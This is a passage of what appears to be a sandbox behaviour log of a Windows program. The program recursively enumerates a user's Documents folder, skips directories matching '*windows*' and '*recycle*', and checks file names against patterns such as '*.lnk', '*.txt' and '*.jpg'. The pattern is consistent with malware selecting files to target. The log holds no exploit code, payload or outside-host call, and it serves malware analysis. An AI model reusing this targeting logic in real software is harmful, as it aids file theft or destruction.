psz1="*.lnk") returned="*.lnk" [0271.049] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.049] PathMatchSpecW (pszFile="ohxlS3Dd5l OE38v1.ppt", pszSpec="*.lnk") returned 0 [0271.050] LocalFree (hMem=0x6fe220) returned 0x0 [0271.050] LocalFree (hMem=0x6fa838) returned 0x0 [0271.050] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7561720, ftCreationTime.dwHighDateTime=0x1d89a83, ftLastAccessTime.dwLowDateTime=0xf2b73cc0, ftLastAccessTime.dwHighDateTime=0x1d89e8a, ftLastWriteTime.dwLowDateTime=0xf2b73cc0, ftLastWriteTime.dwHighDateTime=0x1d89e8a, nFileSizeHigh=0x0, nFileSizeLow=0x10854, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="RaJy3kOFs1JkrVB 1J.pptx", cAlternateFileName="RAJY3K~1.PPT")) returned 1 [0271.050] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.051] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" [0271.051] lstrlenW (lpString="\\") returned 1 [0271.051] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned 42 [0271.051] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6fe220 [0271.051] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.051] lstrlenW (lpString="*.lnk") returned 5 [0271.051] lstrlenW (lpString="*.lnk") returned 5 [0271.051] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.051] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.051] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.051] PathMatchSpecW (pszFile="RaJy3kOFs1JkrVB 1J.pptx", pszSpec="*.lnk") returned 0 [0271.052] LocalFree (hMem=0x6fe220) returned 0x0 [0271.052] LocalFree (hMem=0x6fa838) returned 0x0 [0271.052] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ba1fe30, ftCreationTime.dwHighDateTime=0x1d89e8d, ftLastAccessTime.dwLowDateTime=0xa71b3cf0, ftLastAccessTime.dwHighDateTime=0x1d8a6f8, ftLastWriteTime.dwLowDateTime=0xa71b3cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6f8, nFileSizeHigh=0x0, nFileSizeLow=0x794b, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="UwcKM7d3j75f.ods", cAlternateFileName="UWCKM7~1.ODS")) returned 1 [0271.052] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.052] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" [0271.052] lstrlenW (lpString="\\") returned 1 [0271.052] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned 42 [0271.052] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6fe220 [0271.052] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.052] lstrlenW (lpString="*.lnk") returned 5 [0271.052] lstrlenW (lpString="*.lnk") returned 5 [0271.052] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.052] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.053] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.053] PathMatchSpecW (pszFile="UwcKM7d3j75f.ods", pszSpec="*.lnk") returned 0 [0271.053] LocalFree (hMem=0x6fe220) returned 0x0 [0271.053] LocalFree (hMem=0x6fa838) returned 0x0 [0271.053] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c51a2d0, ftCreationTime.dwHighDateTime=0x1d89898, ftLastAccessTime.dwLowDateTime=0x6034ad10, ftLastAccessTime.dwHighDateTime=0x1d8a0fb, ftLastWriteTime.dwLowDateTime=0x6034ad10, ftLastWriteTime.dwHighDateTime=0x1d8a0fb, nFileSizeHigh=0x0, nFileSizeLow=0xb304, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="VsHZs-6Vd_.rtf", cAlternateFileName="VSHZS-~1.RTF")) returned 1 [0271.053] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.053] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK" [0271.053] lstrlenW (lpString="\\") returned 1 [0271.053] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\GZ0SeYjG0lJNK") returned 42 [0271.053] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6fe220 [0271.053] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.053] lstrlenW (lpString="*.lnk") returned 5 [0271.053] lstrlenW (lpString="*.lnk") returned 5 [0271.053] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.053] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.054] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.054] PathMatchSpecW (pszFile="VsHZs-6Vd_.rtf", pszSpec="*.lnk") returned 0 [0271.054] LocalFree (hMem=0x6fe220) returned 0x0 [0271.054] LocalFree (hMem=0x6fa838) returned 0x0 [0271.054] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c51a2d0, ftCreationTime.dwHighDateTime=0x1d89898, ftLastAccessTime.dwLowDateTime=0x6034ad10, ftLastAccessTime.dwHighDateTime=0x1d8a0fb, ftLastWriteTime.dwLowDateTime=0x6034ad10, ftLastWriteTime.dwHighDateTime=0x1d8a0fb, nFileSizeHigh=0x0, nFileSizeLow=0xb304, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="VsHZs-6Vd_.rtf", cAlternateFileName="VSHZS-~1.RTF")) returned 0 [0271.054] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.054] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0271.056] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.056] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2e7900, ftCreationTime.dwHighDateTime=0x1d8534c, ftLastAccessTime.dwLowDateTime=0xe17dcdd0, ftLastAccessTime.dwHighDateTime=0x1d8a302, ftLastWriteTime.dwLowDateTime=0xe17dcdd0, ftLastWriteTime.dwHighDateTime=0x1d8a302, nFileSizeHigh=0x0, nFileSizeLow=0x12524, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="JX 7c0Hs.docx", cAlternateFileName="JX7C0H~1.DOC")) returned 1 [0271.056] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.056] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.056] lstrlenW (lpString="JX 7c0Hs.docx") returned 13 [0271.056] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.056] LocalAlloc (uFlags=0x40, uBytes=0x154) returned 0x6fe220 [0271.056] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.056] lstrlenW (lpString="*.lnk") returned 5 [0271.056] lstrlenW (lpString="*.lnk") returned 5 [0271.056] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.056] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.057] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.057] PathMatchSpecW (pszFile="JX 7c0Hs.docx", pszSpec="*.lnk") returned 0 [0271.057] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.057] LocalFree (hMem=0x6fe220) returned 0x0 [0271.057] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90f8b710, ftCreationTime.dwHighDateTime=0x1d8a5a7, ftLastAccessTime.dwLowDateTime=0xd0fcfc30, ftLastAccessTime.dwHighDateTime=0x1d8a698, ftLastWriteTime.dwLowDateTime=0xd0fcfc30, ftLastWriteTime.dwHighDateTime=0x1d8a698, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="jY 8z9", cAlternateFileName="JY8Z9~1")) returned 1 [0271.057] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.057] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="jY 8z9" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9") returned="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9" [0271.057] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.057] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.057] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.057] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.057] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.057] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.058] LocalFree (hMem=0x6b9738) returned 0x0 [0271.058] PathMatchSpecW (pszFile="jY 8z9", pszSpec="*windows*") returned 0 [0271.058] LocalFree (hMem=0x6fe220) returned 0x0 [0271.058] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.058] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.058] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.058] lstrlenW (lpString="*recycle*") returned 9 [0271.058] lstrlenW (lpString="*recycle*") returned 9 [0271.058] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.058] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.058] LocalFree (hMem=0x6fb588) returned 0x0 [0271.058] PathMatchSpecW (pszFile="jY 8z9", pszSpec="*recycle*") returned 0 [0271.059] LocalFree (hMem=0x6fe220) returned 0x0 [0271.059] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.059] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9") returned="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9" [0271.059] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9") returned 35 [0271.059] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\jy 8z9\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90f8b710, ftCreationTime.dwHighDateTime=0x1d8a5a7, ftLastAccessTime.dwLowDateTime=0xd0fcfc30, ftLastAccessTime.dwHighDateTime=0x1d8a698, ftLastWriteTime.dwLowDateTime=0xd0fcfc30, ftLastWriteTime.dwHighDateTime=0x1d8a698, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0271.061] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90f8b710, ftCreationTime.dwHighDateTime=0x1d8a5a7, ftLastAccessTime.dwLowDateTime=0xd0fcfc30, ftLastAccessTime.dwHighDateTime=0x1d8a698, ftLastWriteTime.dwLowDateTime=0xd0fcfc30, ftLastWriteTime.dwHighDateTime=0x1d8a698, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.061] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d11a10, ftCreationTime.dwHighDateTime=0x1d89a0a, ftLastAccessTime.dwLowDateTime=0xd35d6c60, ftLastAccessTime.dwHighDateTime=0x1d8a5d2, ftLastWriteTime.dwLowDateTime=0xd35d6c60, ftLastWriteTime.dwHighDateTime=0x1d8a5d2, nFileSizeHigh=0x0, nFileSizeLow=0x18ad3, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="ft_iM_Pl14nr7Ft4.xls", cAlternateFileName="FT_IM_~1.XLS")) returned 1 [0271.061] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.061] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9") returned="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9" [0271.061] lstrlenW (lpString="\\") returned 1 [0271.061] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9") returned 35 [0271.061] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6fe220 [0271.061] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.061] lstrlenW (lpString="*.lnk") returned 5 [0271.061] lstrlenW (lpString="*.lnk") returned 5 [0271.061] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.061] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.062] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.062] PathMatchSpecW (pszFile="ft_iM_Pl14nr7Ft4.xls", pszSpec="*.lnk") returned 0 [0271.062] LocalFree (hMem=0x6fe220) returned 0x0 [0271.062] LocalFree (hMem=0x6fa838) returned 0x0 [0271.062] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620021f0, ftCreationTime.dwHighDateTime=0x1d8a4a3, ftLastAccessTime.dwLowDateTime=0x4cdebfc0, ftLastAccessTime.dwHighDateTime=0x1d8a5c0, ftLastWriteTime.dwLowDateTime=0x4cdebfc0, ftLastWriteTime.dwHighDateTime=0x1d8a5c0, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="O9KVOXEQz7E24nfsV4l.ods", cAlternateFileName="O9KVOX~1.ODS")) returned 1 [0271.062] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.062] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9") returned="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9" [0271.062] lstrlenW (lpString="\\") returned 1 [0271.062] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\jY 8z9") returned 35 [0271.062] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6fe220 [0271.062] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.063] lstrlenW (lpString="*.lnk") returned 5 [0271.063] lstrlenW (lpString="*.lnk") returned 5 [0271.063] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.063] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.063] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.063] PathMatchSpecW (pszFile="O9KVOXEQz7E24nfsV4l.ods", pszSpec="*.lnk") returned 0 [0271.063] LocalFree (hMem=0x6fe220) returned 0x0 [0271.063] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0271.063] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x6fe220 [0271.063] StrStrW (lpFirst="*.txt,*.jpg", lpSrch=",") returned=",*.jpg" [0271.063] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0271.063] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x6fb588 [0271.063] StrCpyW (in: psz1=0x6fe220, psz2="*.txt" | out: psz1="*.txt") returned="*.txt" [0271.064] LocalFree (hMem=0x6fb588) returned 0x0 [0271.064] PathMatchSpecW (pszFile="O9KVOXEQz7E24nfsV4l.ods", pszSpec="*.txt") returned 0 [0271.064] LocalFree (hMem=0x6fe220) returned 0x0 [0271.064] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0271.064] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x6fe220 [0271.064] StrStrW (lpFirst="*.jpg", lpSrch=",") returned 0x0 [0271.064] lstrlenW (lpString="*.jpg") returned 5 [0271.064] lstrlenW (lpString="*.jpg") returned 5 [0271.064] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.064] StrCpyW (in: psz1=0x6fe220, psz2="*.jpg" | out: psz1="*.jpg") returned="*.jpg" [0271.065] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.065] PathMatchSpecW (pszFile="O9KVOXEQz7E24nfsV4l.ods", pszSpec="*.jpg") returned 0 [0271.065] LocalFree (hMem=0x6fe220) returned 0x0 [0271.065] LocalFree (hMem=0x6fa838) returned 0x0 [0271.065] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620021f0, ftCreationTime.dwHighDateTime=0x1d8a4a3, ftLastAccessTime.dwLowDateTime=0x4cdebfc0, ftLastAccessTime.dwHighDateTime=0x1d8a5c0, ftLastWriteTime.dwLowDateTime=0x4cdebfc0, ftLastWriteTime.dwHighDateTime=0x1d8a5c0, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="O9KVOXEQz7E24nfsV4l.ods", cAlternateFileName="O9KVOX~1.ODS")) returned 0 [0271.066] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.066] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0271.066] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.066] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb354ff0, ftCreationTime.dwHighDateTime=0x1d8562f, ftLastAccessTime.dwLowDateTime=0x2ed56780, ftLastAccessTime.dwHighDateTime=0x1d87d21, ftLastWriteTime.dwLowDateTime=0x2ed56780, ftLastWriteTime.dwHighDateTime=0x1d87d21, nFileSizeHigh=0x0, nFileSizeLow=0x52b4, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="LWr_9iuslmv9z -.docx", cAlternateFileName="LWR_9I~1.DOC")) returned 1 [0271.066] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.066] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.066] lstrlenW (lpString="LWr_9iuslmv9z -.docx") returned 20 [0271.066] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.066] LocalAlloc (uFlags=0x40, uBytes=0x162) returned 0x6fe220 [0271.067] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.067] lstrlenW (lpString="*.lnk") returned 5 [0271.067] lstrlenW (lpString="*.lnk") returned 5 [0271.067] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.067] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.067] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.067] PathMatchSpecW (pszFile="LWr_9iuslmv9z -.docx", pszSpec="*.lnk") returned 0 [0271.067] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.068] LocalFree (hMem=0x6fe220) returned 0x0 [0271.068] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0271.068] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.068] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="My Music" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\My Music") returned="C:\\Users\\kEecfMwgj\\Documents\\My Music" [0271.068] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.068] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.068] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.068] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.068] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.068] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.068] LocalFree (hMem=0x6b9738) returned 0x0 [0271.068] PathMatchSpecW (pszFile="My Music", pszSpec="*windows*") returned 0 [0271.069] LocalFree (hMem=0x6fe220) returned 0x0 [0271.069] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.069] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.069] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.069] lstrlenW (lpString="*recycle*") returned 9 [0271.069] lstrlenW (lpString="*recycle*") returned 9 [0271.069] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.069] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.069] LocalFree (hMem=0x6fb588) returned 0x0 [0271.069] PathMatchSpecW (pszFile="My Music", pszSpec="*recycle*") returned 0 [0271.070] LocalFree (hMem=0x6fe220) returned 0x0 [0271.070] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.070] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\My Music" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\My Music") returned="C:\\Users\\kEecfMwgj\\Documents\\My Music" [0271.070] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\My Music") returned 37 [0271.070] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Music\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\my music\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x6fdcfc, ftCreationTime.dwLowDateTime=0x751db620, ftCreationTime.dwHighDateTime=0x6, ftLastAccessTime.dwLowDateTime=0x104, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x751db619, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="", cAlternateFileName="㡺盳㑲盳")) returned 0xffffffff [0271.071] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.071] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.071] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0271.071] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.071] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="My Pictures" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\My Pictures") returned="C:\\Users\\kEecfMwgj\\Documents\\My Pictures" [0271.072] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.072] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.072] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.072] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.072] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.072] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.072] LocalFree (hMem=0x6b9738) returned 0x0 [0271.072] PathMatchSpecW (pszFile="My Pictures", pszSpec="*windows*") returned 0 [0271.072] LocalFree (hMem=0x6fe220) returned 0x0 [0271.072] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.072] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.073] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.073] lstrlenW (lpString="*recycle*") returned 9 [0271.073] lstrlenW (lpString="*recycle*") returned 9 [0271.073] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.073] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.073] LocalFree (hMem=0x6fb588) returned 0x0 [0271.073] PathMatchSpecW (pszFile="My Pictures", pszSpec="*recycle*") returned 0 [0271.073] LocalFree (hMem=0x6fe220) returned 0x0 [0271.073] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.073] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\My Pictures" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\My Pictures") returned="C:\\Users\\kEecfMwgj\\Documents\\My Pictures" [0271.074] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\My Pictures") returned 40 [0271.074] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Pictures\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\my pictures\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x6fdd02, ftCreationTime.dwLowDateTime=0x751db620, ftCreationTime.dwHighDateTime=0x6, ftLastAccessTime.dwLowDateTime=0x104, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x751db619, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="", cAlternateFileName="㡺盳㑲盳")) returned 0xffffffff [0271.074] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.075] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.075] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, 